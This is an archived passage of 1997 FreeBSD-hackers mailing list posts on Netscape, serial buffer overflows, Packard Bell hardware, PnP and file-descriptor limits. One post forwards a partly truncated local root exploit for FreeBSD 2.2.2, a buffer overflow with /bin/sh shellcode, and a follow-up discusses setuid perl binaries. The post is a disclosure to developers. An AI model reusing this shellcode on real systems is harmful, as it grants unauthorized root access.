01:53:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA22711 for hackers-outgoing; Mon, 4 Aug 1997 01:53:57 -0700 (PDT) Received: from trifork.gu.net (trifork.gu.net [194.93.190.194]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA22701 for ; Mon, 4 Aug 1997 01:53:50 -0700 (PDT) Received: from localhost (localhost.gu.kiev.ua [127.0.0.1]) by trifork.gu.net (8.8.6/8.8.6) with SMTP id TAA09136; Mon, 4 Aug 1997 19:49:37 +0300 (EEST) Date: Mon, 4 Aug 1997 19:49:37 +0300 (EEST) From: Andrew Stesin Reply-To: stesin@gu.net To: "Jordan K. Hubbard" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 In-Reply-To: <4339.870648420@time.cdrom.com> Message-ID: X-NCC-RegID: ua.gu MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, On Sun, 3 Aug 1997, Jordan K. Hubbard wrote: > Thanks also go out to a certain skunk-works project at Netscape who > produced this product for FreeBSD! Would they allow you to place it onto the FreeBSD CD? > > Jordan > Best regards, Andrew Stesin nic-hdl: ST73-RIPE From owner-freebsd-hackers Mon Aug 4 02:13:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA23329 for hackers-outgoing; Mon, 4 Aug 1997 02:13:03 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA23324 for ; Mon, 4 Aug 1997 02:13:00 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.6/8.6.9) with ESMTP id CAA22253; Mon, 4 Aug 1997 02:12:11 -0700 (PDT) To: stesin@gu.net cc: freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 In-reply-to: Your message of "Mon, 04 Aug 1997 19:49:37 +0300." Date: Mon, 04 Aug 1997 02:12:10 -0700 Message-ID: <22249.870685930@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Would they allow you to place it onto the FreeBSD CD? Why would they allow that? It's always been a purely commercial product, rampant abuse of their "evaluation" policy notwithstanding. :-) Heck, we can't even put it up for mirroring at ftp.freebsd.org. :) Jordan From owner-freebsd-hackers Mon Aug 4 07:54:03 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA04154 for hackers-outgoing; Mon, 4 Aug 1997 07:54:03 -0700 (PDT) Received: from crh.cl.msu.edu (crh.cl.msu.edu [35.8.1.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA04137 for ; Mon, 4 Aug 1997 07:53:48 -0700 (PDT) Received: (from henrich@localhost) by crh.cl.msu.edu (8.8.5/8.8.5) id KAA15402; Mon, 4 Aug 1997 10:53:34 -0400 (EDT) Message-ID: <19970804105333.36921@crh.cl.msu.edu> Date: Mon, 4 Aug 1997 10:53:33 -0400 From: Charles Henrich To: "Louis A. Mamakos" Cc: Nate Williams , freebsd-hackers@FreeBSD.ORG Subject: Re: tty-level buffer overflows References: <19970803025730.57257@crh.cl.msu.edu> <199708030852.SAA13473@genesis.atrad.adelaide.edu.au> <19970803112147.21483@crh.cl.msu.edu> <199708040423.WAA26367@rocky.mt.sri.com> <199708040511.BAA23487@whizzo.TransSys.COM> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.80 In-Reply-To: <199708040511.BAA23487@whizzo.TransSys.COM>; from Louis A. Mamakos on Mon, Aug 04, 1997 at 01:11:36AM -0400 X-Operating-System: FreeBSD 2.2.2-RELEASE X-PGP-Fingerprint: 1024/F7 FD C7 3A F5 6A 23 BF 76 C4 B8 C9 6E 41 A4 4F Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On the subject of Re: tty-level buffer overflows, Louis A. Mamakos stated: > No, I think that Charles is surprised that he's *sending* 2K blocks, and > getting error messages described on the single byte ACK characters which is > being *received*. > > Could it be that there is cross-talk, and some of the data being transmitted > is being "heard" as input? The first paragraph is exactly what I was thinking. Okay, I finally found this out. This remote hardware device (I have no control over the software on it) has a problem. After every packet sent, the device must be entering some critical section, because it doesnt pay attention to its serial ports for 30-50ms. So what was happening is during a packet send, if the write was still occuring during that critical section, a few packets would be lost and the remote end would get confused, abort back to terminal mode, and spew back what I was writing. This only caused a problem if it occured early into my write(), otherwise my app exited and read back the crap fast enough to not get the tty error. With the usleep() in the proper place everything is working peachy keen. Thanks to all for your assistance! I might suggest in sio(4) we say something like: sio%d: tty-level buffer overflow. Problem in the application. Input has overflowed inbound buffers, data has been lost. This problem commonly occurs when the application does not perform a read() often enough to empty the incoming buffers before more data arrives. -Crh Charles Henrich Michigan State University henrich@msu.edu http://pilot.msu.edu/~henrich From owner-freebsd-hackers Mon Aug 4 08:11:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA05049 for hackers-outgoing; Mon, 4 Aug 1997 08:11:46 -0700 (PDT) Received: from server.netplus.com.br (root@[200.247.23.97]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA05040 for ; Mon, 4 Aug 1997 08:11:39 -0700 (PDT) Received: from sergio.lenzi (dial11.netplus [192.168.9.18]) by server.netplus.com.br (8.8.5/8.8.5) with ESMTP id MAA23708 for ; Mon, 4 Aug 1997 12:13:21 GMT Received: from localhost (lenzi@localhost) by sergio.lenzi (8.8.5/8.8.5) with SMTP id KAA06331 for ; Mon, 4 Aug 1997 10:12:20 GMT X-Authentication-Warning: sergio.lenzi: lenzi owned process doing -bs Date: Mon, 4 Aug 1997 10:12:18 +0000 (GMT) From: "Lenzi, Sergio" X-Sender: lenzi@sergio To: hackers@freebsd.org Subject: Security hole script. Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello all. Here is the "script" that opens a hole in our FreeBSD 2.2.2... from a friend of mine (lgarcia@netlan.com.br) ---------------------------cut------------------------------- #include #include #include #define BUFFER_SIZE 1400 #define OFFSET 600 char *get_esp(void) { asm("movl %esp,%eax"); } char buf[BUFFER_SIZE]; main(int argc, char *argv[]) { int i; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; for(i=0+1;i Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA05074 for hackers-outgoing; Mon, 4 Aug 1997 08:11:56 -0700 (PDT) Received: from server.netplus.com.br (root@[200.247.23.97]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA05041 for ; Mon, 4 Aug 1997 08:11:40 -0700 (PDT) Received: from sergio.lenzi (dial11.netplus [192.168.9.18]) by server.netplus.com.br (8.8.5/8.8.5) with ESMTP id MAA23712; Mon, 4 Aug 1997 12:13:23 GMT Received: from localhost (lenzi@localhost) by sergio.lenzi (8.8.5/8.8.5) with SMTP id JAA06250; Mon, 4 Aug 1997 09:49:58 GMT X-Authentication-Warning: sergio.lenzi: lenzi owned process doing -bs Date: Mon, 4 Aug 1997 09:49:56 +0000 (GMT) From: "Lenzi, Sergio" X-Sender: lenzi@sergio Reply-To: "Lenzi, Sergio" To: Tom Samplonius cc: Dan Riley , hackers@freebsd.org Subject: Re: security hole on FreeBSD 2.2.2 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Fri, 1 Aug 1997, Tom Samplonius wrote: > Huh? I'm looking at /usr/bin/ on couple of 2.2.2 machines and there is > no superl*... what is that file supposed to be anyhow? > > Are you sure you did not install from a tainted distribution that had a > backdoor installed? Or, were you fooled in running a trojan horse as root > and it created the superl* file? > I think not, an ls -al from the /cdrom/usr/bin | grep perl (WC second cd) shows.... -r-xr-xr-x 2 bin bin 307200 May 20 10:32 curseperl -r-xr-xr-x 2 bin bin 274432 May 20 10:32 perl ---s--x--x 4 root bin 282624 May 20 10:32 sperl4.036 ---s--x--x 4 root bin 282624 May 20 10:32 suidperl -r-xr-xr-x 4 bin bin 282624 May 20 10:32 tperl -r-xr-xr-x 4 bin bin 282624 May 20 10:32 tperl4.036 the pgrogram in question is superl4.036. Sergio Lenzi. From owner-freebsd-hackers Mon Aug 4 08:30:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA05883 for hackers-outgoing; Mon, 4 Aug 1997 08:30:29 -0700 (PDT) Received: from sumatra.americantv.com (sumatra.americantv.com [207.170.17.37]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA05878 for ; Mon, 4 Aug 1997 08:30:26 -0700 (PDT) Received: from right.PCS (right.PCS [148.105.10.31]) by sumatra.americantv.com (8.8.5/8.8.5) with ESMTP id KAA19745; Mon, 4 Aug 1997 10:37:06 -0500 (CDT) Received: (jlemon@localhost) by right.PCS (8.6.13/8.6.4) id KAA28458; Mon, 4 Aug 1997 10:30:24 -0500 Message-ID: <19970804103023.62502@right.PCS> Date: Mon, 4 Aug 1997 10:30:23 -0500 From: Jonathan Lemon To: stesin@gu.net Cc: "Lee Crites (AEI)" , hackers@FreeBSD.ORG Subject: Re: FreeBSD on Packard Bell? References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.61.1 In-Reply-To: ; from Andrew Stesin on Aug 08, 1997 at 07:48:02PM +0300 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Aug 08, 1997 at 07:48:02PM +0300, Andrew Stesin wrote: > > Now, has anyone put fbsd on a pb? I Yup, I have a x386 PB, which has been running fbsd successfully for a while now. Luckily, I didn't have any problems with the install, although it still will not shutdown() properly. (It locks up). -- Jonathan From owner-freebsd-hackers Mon Aug 4 08:39:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA06291 for hackers-outgoing; Mon, 4 Aug 1997 08:39:01 -0700 (PDT) Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA06280 for ; Mon, 4 Aug 1997 08:38:57 -0700 (PDT) Received: from mr1.exu.ericsson.se (mr1.exu.ericsson.com [138.85.147.11]) by gwa.ericsson.com (8.8.2/8.8.2) with ESMTP id KAA18788; Mon, 4 Aug 1997 10:38:20 -0500 (CDT) Received: from noah.lmc.ericsson.se (noah.lmc.ericsson.se [142.133.1.1]) by mr1.exu.ericsson.se (8.7.1/NAHUB-MR1.1) with ESMTP id KAA19693; Mon, 4 Aug 1997 10:38:18 -0500 (CDT) Received: from platinium (platinium.lmc.ericsson.se [142.133.28.122]) by noah.lmc.ericsson.se (8.8.5/8.8.5) with ESMTP id LAA02197; Mon, 4 Aug 1997 11:36:19 -0400 (EDT) Received: from lmc.ericsson.se (platinium.lmc.ericsson.se [142.133.28.122]) by platinium (8.8.3/8.8.3) with ESMTP id LAA18114; Mon, 4 Aug 1997 11:38:06 -0400 (EDT) Message-ID: <33E5F75D.AAF7836F@lmc.ericsson.se> Date: Mon, 04 Aug 1997 11:38:05 -0400 From: Samy Touati Organization: Ericsson Research Canada X-Mailer: Mozilla 4.02b7 [en] (X11; I; SunOS 5.5.1 sun4m) MIME-Version: 1.0 To: "Jordan K. Hubbard" CC: Michael Smith , paul@mu.org, freebsd-hackers@FreeBSD.ORG Subject: Re: netscape 4.02b7 References: <17028.870665704@time.cdrom.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'm sorry I read the README quite fast and it didn't specify the freebsd platform when talking about plugins. Beside that I find it to be a very good port from a performance point of view. Samy Jordan K. Hubbard wrote: > > > Unfortunately it doesn't support plugins. > > Pardon? What brings you to that conclusion? > > Jordan From owner-freebsd-hackers Mon Aug 4 08:41:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA06483 for hackers-outgoing; Mon, 4 Aug 1997 08:41:32 -0700 (PDT) Received: from gaia.coppe.ufrj.br (jonny@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA06460; Mon, 4 Aug 1997 08:41:18 -0700 (PDT) Received: (from jonny@localhost) by gaia.coppe.ufrj.br (8.8.6/8.8.6) id MAA26598; Mon, 4 Aug 1997 12:40:13 -0300 (EST) From: Joao Carlos Mendes Luis Message-Id: <199708041540.MAA26598@gaia.coppe.ufrj.br> Subject: Re: Advice sought on PnP configuration In-Reply-To: <199707311246.OAA05722@labinfo.iet.unipi.it> from Luigi Rizzo at "Jul 31, 97 02:46:17 pm" To: luigi@labinfo.iet.unipi.it (Luigi Rizzo) Date: Mon, 4 Aug 1997 12:40:12 -0300 (EST) Cc: hasty@rah.star-gate.com, se@FreeBSD.ORG, hackers@FreeBSD.ORG, multimedia@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk #define quoting(Luigi Rizzo) // Conclusion: the manual override mechanism is surely needed, the problem // is that there are not enough bits in the config line to specify the // desired ranges. Maybe we can modify "config" to allow a syntax like // // device pnp0 id "CSC4236" config "io 0x604 0x300 0x200 mem 0x300 irq 6 dma 5 6" // device pnp1 id "OPT9310" config "io 0x530 0x330 irq 7 dma 5 6" What about this: controller pnp0 at isa? device gus0 at pnp? device net0 at pnp? etc. Windows 95 treats PnP devices as another brach in the hardware hierarchy, and it seemed reasonable to me. Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Mon Aug 4 08:52:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA07075 for hackers-outgoing; Mon, 4 Aug 1997 08:52:16 -0700 (PDT) Received: from sirocco.CC.McGill.CA (sirocco.CC.McGill.CA [132.206.27.12]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA07070 for ; Mon, 4 Aug 1997 08:52:13 -0700 (PDT) Received: from maelstrom.CC.McGill.CA (maelstrom.CC.McGill.CA [132.206.35.2]) by sirocco.CC.McGill.CA (8.6.12/8.6.6) with SMTP id LAA13715; Mon, 4 Aug 1997 11:57:48 -0400 X-SMTP-Posting-Origin: maelstrom.CC.McGill.CA (maelstrom.CC.McGill.CA [132.206.35.2]) Received: by maelstrom.CC.McGill.CA with Microsoft Mail id <01BCA0CD.073A4390@maelstrom.CC.McGill.CA>; Mon, 4 Aug 1997 11:53:30 -0400 Message-ID: <01BCA0CD.073A4390@maelstrom.CC.McGill.CA> From: Yves Lepage To: "stesin@gu.net" , "'Jonathan Lemon'" Cc: "Lee Crites (AEI)" , "hackers@FreeBSD.ORG" Subject: RE: FreeBSD on Packard Bell? Date: Mon, 4 Aug 1997 11:53:29 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hello, I have two PB machines that run FreeBSD: 1- force-525 2- platinum series machine (the P166 one) Yves Lepage ---------- From: Jonathan Lemon[SMTP:jlemon@americantv.com] Sent: Monday, August 04, 1997 11:30 AM To: stesin@gu.net Cc: Lee Crites (AEI); hackers@FreeBSD.ORG Subject: Re: FreeBSD on Packard Bell? On Aug 08, 1997 at 07:48:02PM +0300, Andrew Stesin wrote: > > Now, has anyone put fbsd on a pb? I Yup, I have a x386 PB, which has been running fbsd successfully for a while now. Luckily, I didn't have any problems with the install, although it still will not shutdown() properly. (It locks up). -- Jonathan From owner-freebsd-hackers Mon Aug 4 08:58:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA07390 for hackers-outgoing; Mon, 4 Aug 1997 08:58:39 -0700 (PDT) Received: from alpha.xerox.com (alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA07385 for ; Mon, 4 Aug 1997 08:58:37 -0700 (PDT) Received: from www.sdsp.mc.xerox.com ([13.231.132.18]) by alpha.xerox.com with SMTP id <52351(4)>; Mon, 4 Aug 1997 08:57:56 PDT Received: from gnu.sdsp.mc.xerox.com (gnu.sdsp.mc.xerox.com [13.231.133.90]) by www.sdsp.mc.xerox.com (8.8.5/8.8.5) with SMTP id LAA23648; Mon, 4 Aug 1997 11:56:52 -0400 (EDT) Received: by gnu.sdsp.mc.xerox.com (4.1/client-1.3) id AA12384; Mon, 4 Aug 97 11:56:52 EDT Message-Id: <9708041556.AA12384@gnu.sdsp.mc.xerox.com> X-Mailer: exmh version 2.0delta 6/3/97 To: stesin@gu.net Cc: "Lee Crites (AEI)" , hackers@freebsd.org Subject: Re: FreeBSD on Packard Bell? In-Reply-To: Your message of "Mon, 04 Aug 1997 09:48:02 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 4 Aug 1997 08:56:51 PDT From: "Marty Leisner" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I have a 100 Mhz pentium PB (it was at a reasonable process, it got a F*** bios and can't properly detect pci cards...when I spoke to them, I was informed I have to call they're pay-support line (I haven't bothered to complain to someone higher in authority). I put a 6.2 gig seagate on ide channel 1, and the cdrom on ide channel 2 (it has the buggy 640). Freebsd installed off the CDROM... (But when I put the 1.2 gig seagate it came with on the second ide channel, I got very strange results...(I ended up hanging the system with linux...) For now, the 1.2 gig isn't in use... -- marty leisner@sdsp.mc.xerox.com The Feynman problem solving Algorithm 1) Write down the problem 2) Think real hard 3) Write down the answer Murray Gel-mann in the NY Times From owner-freebsd-hackers Mon Aug 4 09:48:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA09856 for hackers-outgoing; Mon, 4 Aug 1997 09:48:23 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA09851; Mon, 4 Aug 1997 09:48:19 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA04188; Mon, 4 Aug 1997 09:46:13 -0700 From: Terry Lambert Message-Id: <199708041646.JAA04188@phaeton.artisoft.com> Subject: Re: Too many open files in System! To: edmond@shaman.lycaeum.org (Andrew N. Edmond) Date: Mon, 4 Aug 1997 09:46:13 -0700 (MST) Cc: terry@lambert.org, fbsdlist@federation.addy.com, questions@FreeBSD.ORG, hackers@FreeBSD.ORG In-Reply-To: from "Andrew N. Edmond" at Aug 3, 97 11:58:59 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Thanks for the great answer Terry, Cliff and ahem... Jordan :-) > > In any case, the sysctl settings worked great, messed with login.conf some > as well, and the #define FD_SETSIZE works great.... except with... > mit-pthreads. > > mit-pthreads is puking everytime I try to set the FD_SETSIZE (yes, before > ), and even when I go into the pthreads source and try to > change that version of FD_SETSIZE, it's still puking at a value of 1024. > At 256 it works fine. Any ideas? Are you setting it before including *any* headers? There was once a misbegotten idea that headers should include all the other headers they require. This could get in before you think it is in... Also, check out the stdio stuff in the pthreads library; there was a stdio limitation that had this problem (I know, you are using sockets, so they are raw fd's, instead of FILE pointers...). Finally, the way libpthreads does call conversion is to make the fd non-blocking and trade a blocking operation on a blocking fd for a blocking operation on a non-blocking fd, plus a thread context switch. This is one of the three common ways to implement threads. Because of this, there is a table of open fd's maintained internally by the threads library. I *thought* that it was dynamically sized, but I haven't had need to look for it, since I haven't done anything that needed that many simultaneous connections in a threads environment (I generally use shared process context environments for these things to allow me to beeter compete for CPU quanta against other processes on the system). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Aug 4 09:51:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA10143 for hackers-outgoing; Mon, 4 Aug 1997 09:51:51 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA10128 for ; Mon, 4 Aug 1997 09:51:46 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA04212; Mon, 4 Aug 1997 09:50:19 -0700 From: Terry Lambert Message-Id: <199708041650.JAA04212@phaeton.artisoft.com> Subject: Re: FreeBSD on Packard Bell? To: jbryant@tfs.net Date: Mon, 4 Aug 1997 09:50:19 -0700 (MST) Cc: terry@lambert.org, freebsd-hackers@freebsd.org In-Reply-To: <199708040405.XAA00726@argus.tfs.net> from "Jim Bryant" at Aug 3, 97 11:05:10 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > BTW: This box does not require the CMD640 hack, and if enabled it will > panic during the probes. What about the chipset used on most of the Intel motherboards from the OEM products division, which has a similar (but incompatible) bug? I *did* say "or similar"... Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Aug 4 09:54:05 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA10334 for hackers-outgoing; Mon, 4 Aug 1997 09:54:05 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA10329 for ; Mon, 4 Aug 1997 09:54:00 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA04224; Mon, 4 Aug 1997 09:52:14 -0700 From: Terry Lambert Message-Id: <199708041652.JAA04224@phaeton.artisoft.com> Subject: Re: FreeBSD on Packard Bell? To: helbig@MX.BA-Stuttgart.De (Wolfgang Helbig) Date: Mon, 4 Aug 1997 09:52:14 -0700 (MST) Cc: terry@lambert.org, leec@adam.adonai.net, hackers@FreeBSD.ORG In-Reply-To: <199708040743.JAA02887@helbig.informatik.ba-stuttgart.de> from "Wolfgang Helbig" at Aug 4, 97 09:43:10 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > If the machine has two IDE controllers, put the CDROM on one and the > > hard drive on the other. > > No, don't. You do have a CMD640b controller. Put the HD as master > and the CDROM as slave on the primary channel. Have a look at the > FAQ 3.21 and/or the HARDWARE.TXT on your CDROM. This really varies depending on whether or not he's running -current or not. Note that the fix is automatic in -current, but only for PCI based controllers, since the chipset is not detected otherwise (at least it wasn't). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Aug 4 09:57:00 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA10540 for hackers-outgoing; Mon, 4 Aug 1997 09:57:00 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA10535 for ; Mon, 4 Aug 1997 09:56:58 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA04236; Mon, 4 Aug 1997 09:54:38 -0700 From: Terry Lambert Message-Id: <199708041654.JAA04236@phaeton.artisoft.com> Subject: Re: FreeBSD on Packard Bell? To: stesin@gu.net Date: Mon, 4 Aug 1997 09:54:38 -0700 (MST) Cc: leec@adam.adonai.net, hackers@FreeBSD.ORG In-Reply-To: from "Andrew Stesin" at Aug 4, 97 07:48:02 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Would you mind providing as much info as possible > about that damn box, i.e. _your own_ hardware descriprion > plus kernel boot messages? Specifically, the workaround varies by version of FreeBSD, so if you could provide the version of FreeBSD you are installing, people would be better able to help you. Plus, this still belongs on -questions. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Aug 4 10:52:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA15576 for hackers-outgoing; Mon, 4 Aug 1997 10:52:02 -0700 (PDT) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA15560; Mon, 4 Aug 1997 10:52:00 -0700 (PDT) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.5/8.8.5) with UUCP id LAA08409; Mon, 4 Aug 1997 11:51:57 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id LAA27810; Mon, 4 Aug 1997 11:50:55 -0600 (MDT) Date: Mon, 4 Aug 1997 11:50:54 -0600 (MDT) From: Marc Slemko To: "Andrew N. Edmond" cc: questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Too many open files in System! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 3 Aug 1997, Andrew N. Edmond wrote: > > /* text cut and pasted below */ > > > To answer your question: you must increase all of these values, > > and if you are using select, #define FD_SETSIZE higher in your > > application before including . > > Thanks for the great answer Terry, Cliff and ahem... Jordan :-) > > In any case, the sysctl settings worked great, messed with login.conf some > as well, and the #define FD_SETSIZE works great.... except with... > mit-pthreads. > > mit-pthreads is puking everytime I try to set the FD_SETSIZE (yes, before > ), and even when I go into the pthreads source and try to > change that version of FD_SETSIZE, it's still puking at a value of 1024. > At 256 it works fine. Any ideas? You would have to clarify what you mean by "puking". Does pthreads not compile? Does it compile and not work? Does it compile and work but your program doesn't work? Note that anything using the name resolver in 2.2 will have trouble with fds above what FD_SETSIZE is set to when libc is compiled. This is fixed in 3.0, but the fix hasn't been brought into 2.2. From owner-freebsd-hackers Mon Aug 4 10:53:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA15687 for hackers-outgoing; Mon, 4 Aug 1997 10:53:07 -0700 (PDT) Received: from thelab.hub.org (root@ppp-185.halifax-01.ican.net [206.231.248.185]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA15676 for ; Mon, 4 Aug 1997 10:53:02 -0700 (PDT) Received: from thelab.hub.org (scrappy@LOCALHOST [127.0.0.1]) by thelab.hub.org (8.8.6/8.8.2) with SMTP id OAA21402 for ; Mon, 4 Aug 1997 14:13:32 -0300 (ADT) Date: Mon, 4 Aug 1997 14:13:32 -0300 (ADT) From: The Hermit Hacker Reply-To: scrappy@trends.ca To: hackers@freebsd.org Subject: System no longer finding sd(0,a)/kernel... Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi... I have a remote system that is running an older 2.2-CURRENT that has suddenly decided to not boot, and am wondering if anyone can make a comment on the cause... Since its remote, my information is limited, but from the gentleman that acted as my eyes/hands, if, at the boot: prompt, he did nothing, the system came back with an error about not finding /kernel, as it did if he typed in sd(0,a)/kernel... Unfortunately, altho it is very limited information, its all I have :( I have a friend going to the office with a new motherboard/CPU as well as a brand new hard drive to replace the root drive...so more then anything, I'm wondering what the chances are that I'll be able to recover anything off that other drive...like, what are the chances that the problem was merely an 'fsck' that removed /kernel, but left the other file systems in tack :( Please respond to my Reply-To:, as the system that all my FreeBSD mailing list stuff goes to happens to be the system that is down :( Thanks... Marc G. Fournier Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org From owner-freebsd-hackers Mon Aug 4 11:09:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA16706 for hackers-outgoing; Mon, 4 Aug 1997 11:09:37 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) 